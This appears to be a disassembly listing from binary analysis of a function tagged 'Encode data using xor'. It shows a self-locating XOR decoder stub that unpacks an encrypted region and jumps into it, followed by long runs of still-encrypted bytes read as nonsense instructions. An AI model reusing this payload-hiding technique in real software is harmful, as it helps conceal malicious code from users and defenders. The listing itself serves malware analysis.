Function at 0x19f3df8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x19f3e02
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x19f3e2b
pop rbp
sub rbp, 0x33
sub rbp, 0x15f3df8
sub rsp, 0x20
jmp 0x19f3e4a
mov rax, 0x15f3df8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x26c67c7a
xor byte [rax], dl
inc rax
dec rcx
jne 0x19f3e69
jmp 0x19f3e80
xor dh, bl
xchg ebx, eax
int1
jp 0x19f3f02
jp 0x19f3ebc
sti
mov ebx, 0x7a7a7b72
xor bh, byte [rbx - 0x6d]
xor bh, byte [rbp + 0x7a7a7eba]
jp 0x19f3ecd
mov ebp, 0x7a7a52b8
jp 0x19f3ed4
lea ebx, [rax - 0xe4484ce]
sti
jbe 0x19f3f25
jp 0x19f3f27
xor bh, byte [rbx - 0x6e]
sub ch, byte [rdx]
xor al, dl
xor edx, dword cs:[rbx + 0x7a]
jp 0x19f3f34
jp 0x19f3f36
xor al, bl
fmul dword [rsi + 0x7a7a7b4f]
jp 0x19f3f40
xor bh, byte [rbx - 0x6d]
xor al, al
add edi, dword [rcx]
iretd
jg 0x19f3f50
jp 0x19f3f52
xchg ebx, eax
insb byte [rdi], dx
jp 0x19f3f56
jp 0x19f3e99
xchg edx, eax
js 0x19f3f2c
imul esi, dword [rdx], 0xfffffffb
mov ebx, 0x7a7a7a7e
xor al, byte [rbp - 0x6b008a4e]
test dword [rbp + 0x2022b985], eax
sub byte [rdx], ch
xor al, dl
xor edx, dword cs:[rbx + 0x7a]
jp 0x19f3f79
jp 0x19f3f7b
xor al, bl
fmul dword [rsi + 0x7a7a7b4f]
jp 0x19f3f85
ret
xor bh, byte [rbx - 0x6d]
xchg edx, eax
jg 0x19f3f8b
jp 0x19f3f8d
xchg ebx, eax
idiv dword [rax + 0x7a]
jp 0x19f3f41
xchg edx, eax
invalid
mov bl, 0x32
test al, 0xf9
stc
xchg edx, eax
jg 0x19f3f5f
xor al, byte [rbp + 0x1efe75b2]
jp 0x19f3fae
test dword [rdx + 0x7a1efe75], esi
jp 0x19f3faf
jp 0x19f3fab
jne 0x19f3f29
and al, 0x7a
and al, 0x7a
jp 0x19f3fb5
sbb al, 0xf1
cli
adc dword [rdx + 0x7a66fe75], 0x81fa7a7a
xchg ebx, eax
xchg edx, eax
jne 0x19f3f42
invalid
jp 0x19f3fc1
jp 0x19f3f43
adc dword [rbx + 0x7a69fe75], 0xfb1c7a7a
jne 0x19f3f4b
imul edi, dword [rdx + 0x7a], 0x81fb1c7a
test dword [rdi + 0x75], ebx
invalid
jp 0x19f3f6e
sti
add dword [rbp + 0x65fe755f], 0x327a7a7a
jne 0x19f3f56
jp 0x19f3fd5
jp 0x19f3f8f
test dword [rbx - 0x7a7a4d6d], edi
test dword [rbx + 0x36], edx
jnp 0x19f3f9b
xchg ebx, eax
mov dl, 0x85
test dword [rbp + 0x7b433653], eax
xor bh, bl
sti
mov ebx, 0x7a7a7a7f
jg 0x19f3fe7
jp 0x19f3fe9
jp 0x19f3fa2
xor bh, bl
sti
xchg edx, eax
jle 0x19f3fee
jp 0x19f3ff0
xchg ebx, eax
retf
test dword [rbp + 0x78432e53], eax
xor bh, bl
push rbx
js 0x19f3fb2
sti
mov ebx, 0x7a7a7a7c
xor bh, bl
jp 0x19f3fb9
sti
nop
jle 0x19f4005
jp 0x19f4007
xor bh, bl
xchg edx, eax
jg 0x19f400c
jp 0x19f400e
xchg ebx, eax
jmp 0x2724c51f
test dword [0x30cc6c57], esp
sub byte [rdx], dh
rep lodsd eax, dword [rsi]
sub al, 0x2d
invalid
xor dh, bl
mov ah, 0x86
enter 0xfffffffffffff0fa, 0x7c
xor bh, bl
sti
mov esp, 0x7a7a7a7b
jp 0x19f402a
jp 0x19f402b
jp 0x19f3fa4
bnd jge 0x19f3fe6
jge 0x19f3fe6
sti
mov ebp, 0x7a7a7a7b
xor bh, byte [rbp + 0x7a7a78b9]
jp 0x19f3fed
mov ebp, 0x7a7a78b9
jp 0x19f403b
jp 0x19f403a
js 0x19f3f6b
test al, 0x75
jne 0x19f3fc4
invalid
jge 0x19f4041
jp 0x19f4043
invalid
stc
test al, 0x85
test dword [rbp - 0x8a5788], eax
test dword [rax - 0x58], edi
jne 0x19f3fd9
invalid
jge 0x19f4056
jp 0x19f4058
invalid
push 0x5f975a8
jp 0x19f4064
stc
add eax, 0x327a7a7a
jp 0x19f4065
jp 0x19f401e
xor cl, byte [rbx - 0x46]
movabs r10, 0x7a7a7a7dff75a878
mov edx, 0xff75a878
js 0x19f3f98
jne 0x19f3ff1
invalid
jge 0x19f406e
jp 0x19f4070
invalid
test dword [rax + rbp*2 + 0x1cf975a8], edi
jnp 0x19f407c
jp 0x19f407c
test al, 0x75
jne 0x19f4006
invalid
jge 0x19f4083
jp 0x19f4085
invalid
insb byte [rdi], dx
xor al, byte [rbp + 0x32a868bc]
imul edi, dword [rdx - 0x8a5788], 0x7d
jp 0x19f4096
test dword [rax + rbp*2 - 0x4594cd58], edi
js 0x19f3fbf
jne 0x19f4018
invalid
jge 0x19f4095
jp 0x19f4097
jp 0x19f400e
invalid
insb byte [rdi], dx
xor al, byte [rbp + 0x32a868bc]
imul edi, dword [rdx - 0x8a5788], 0x7d
jp 0x19f40a8
test dword [rax + rbp*2 - 0x4594cd58], edi
js 0x19f3fd1
jne 0x19f402a
invalid
jge 0x19f40a7
jp 0x19f40a9
jp 0x19f4020
invalid
insb byte [rdi], dx
xor al, byte [rbp + 0x32a868bc]
imul edi, dword [rdx - 0x8a5788], 0x7d
jp 0x19f40ba
test dword [rax + rbp*2 - 0x4594cd58], edi
js 0x19f3fe3
test al, 0x75
jne 0x19f403c
invalid
jge 0x19f40b9
jp 0x19f40bb
jp 0x19f4032
invalid
insb byte [rdi], dx
xor al, byte [rbp + 0x32a868bc]
imul edi, dword [rdx + 0x7a72fe75], 0x7a
jp 0x19f4084
invalid
xor dword [rdx], 0x79f0b953
bnd jge 0x19f408e
mov ecx, 0x7df279f0
xor al, byte [rbp - 0x4642cd43]
js 0x19f40dd
jns 0x19f404c
jge 0x19f408e
test dword [rbp + 0x78b9bd32], edi
jp 0x19f40de
jp 0x19f40df
jp 0x19f3ff9
xchg ebx, eax
sub eax, 0x32858585
mov ebp, 0x7a7a7bba
jp 0x19f40ea
jp 0x19f40ea
test al, 0x75
invalid
test dword [rax + rbp*2 - 0x4594cd58], edi
js 0x19f402d
test al, 0x75
jne 0x19f4086
invalid
jge 0x19f4103
jp 0x19f4105
invalid
test dword [rax + rbp*2 - 0x5c078a58], edi
test dword [rbp - 0x5daccd7b], eax
xor bh, byte [rbp + 0x7a7a7bb9]
test dword [rbp + 0x32a25332], eax
mov ebp, 0x7a7a7bb9
test dword [rdx], esi
push rbx
movabs byte [0x757a7a7a7bb9bd32], al
jp 0x19f4118
inc dword [rdi + 0x7a]
jp 0x19f4122
jp 0x19f40db
xor bh, byte [rbp + 0x7a7a7bbb]
mov ebp, 0x7a7a7bbb
jp 0x19f4128
test al, 0x75
invalid
invalid
xor al, byte [rbp + 0x32a868bc]
imul esi, dword [rbx - 0x8a5788], 0x7d
jp 0x19f4142
test dword [rax + rbp*2 - 0x4c94cd58], edi
js 0x19f406b
mov esp, 0x6b32a868
mov bl, 0x78
test al, 0x75
jne 0x19f40c4
invalid
jge 0x19f4141
jp 0x19f4143
jp 0x19f40ba
invalid
insb byte [rdi], dx
xor al, byte [rbp + 0x75a868bc]
clc
movabs dword [0x3284f3322c858585], eax
push rbx
xchg esp, eax
mov esi, ebx
fisub word [rbx + rdx*4]
and al, 0x93
cmpsb byte [rsi], byte [rdi]
test byte [rbp - 0x4d7acd7b], al
xor bh, byte [rbx + 0x7cf0729a]
xor al, byte [rbp - 0x400ccd44]
xor bh, byte [rbp + 0x7a7a7bbb]
jp 0x19f4174
invalid
test al, 0x75
invalid
invalid
xor al, byte [rbp + 0x32a868bc]
imul esi, dword [rbx - 0x8a5788], 0x7d
jp 0x19f418e
test dword [rax + rbp*2 - 0x4c94cd58], edi
js 0x19f40b7
jne 0x19f4110
invalid
jge 0x19f418d
jp 0x19f418f
jp 0x19f4106
invalid
insb byte [rdi], dx
xor al, byte [rbp + 0x75a868bc]
clc
movabs dword [0x77a82fb32858585], eax
test dword [rax + rbp*2 - 0x5c078a58], edi
test dword [rbp - 0x7d04cd7b], eax
jp 0x19f412e
xor bh, bl
invalid
jp 0x19f41a3
jp 0x19f415c
xor bh, bl
sti
movabs dword [0x7a82fb3285858585], eax
test dword [rbp + 0x7a82fb32], eax
jg 0x19f41b0
jp 0x19f416a
sti
movabs dword [0xfa82fb3285858585], eax
cli
jp 0x19f41be
jp 0x19f41bf
jp 0x19f4178
xor bh, bl
sti
stosd dword [rdi], eax
jp 0x19f41c4
jp 0x19f41c6
xor bh, bl
invalid
test byte [rdx], dh
push rbx
mov esp, 0x9324de89
and al, byte [rbp + rax*4 + 0x327cf085]
jl 0x19f419e
test dword [rdx + rsi - 0x6d454cb5], edi
jnp 0x19f41ea
jne 0x19f4174
invalid
pop rdx
jp 0x19f41f3
jp 0x19f41f4
jp 0x19f41ad
xor bh, bl
sti
stosd dword [rdi], eax
js 0x19f41f9
jp 0x19f41fb
xor dh, bl
mov edi, 0x84f3322c
xor dl, byte [rbx - 0x44]
mov esi, ebx
and al, 0x32
xor bh, byte [rbp + 0x7a7a7bb9]
mov ebp, 0x7a7a7bb9
jp 0x19f4129
pop rbp
test byte [rbp + 0x53322085], al
lodsd eax, dword [rsi]
xor dh, bl
invalid
and al, 0xb9
and eax, 0x7a7e9324
jp 0x19f4226
cmovg ecx, ecx
leave
cmpsb byte [rsi], byte [rdi]
xor bh, byte [rbp + 0x254782ba]
jnp 0x19f41ea
jnp 0x19f414c
xor bh, bl
mov edx, 0x7a7a7990
jns 0x19f423a
jp 0x19f423b
jp 0x19f41f4
xor bh, byte [rbp + 0x7a78dfbb]
mov ebp, 0x7a78dfbb
mov ebx, 0x7a7a78df
fistp qword [rax + 0x7a]
jp 0x19f4242
jp 0x19f41fb
xor bh, byte [rbp + 0xb56f1b8]
mov ebp, 0xb56f1b8
invalid
scasb al, byte [rdi]
jp 0x19f417c
int 0x7a
mov byte [r9 - 0xf], 0xf1
int1
int1
mov ecx, 0xb77a06f0
int 0xb9
lock add dword [rcx - 0xe3e8e86], edi
mov bh, 0xcd
mov ecx, 0x7ab901f0
jno 0x19f41c3
int1
int1
int1
mov ecx, 0xd8b90278
xor bh, byte [rdx - 0x5a]
int1
jp 0x19f41ce
cmc
jo 0x19f421e
int1
int1
int1
int1
invalid
lock add edi, dword [rcx - 0xe06c990]
int1
int1
mov ecx, 0xf1f91870
int1
int1
jo 0x19f4238
int1
int1
int1
int1
invalid
invalid
xchg edi, eax
jp 0x19f4233
xor byte [rcx], bl
std
jb 0x19f4253
invalid
adc dword [rsi], ecx
invalid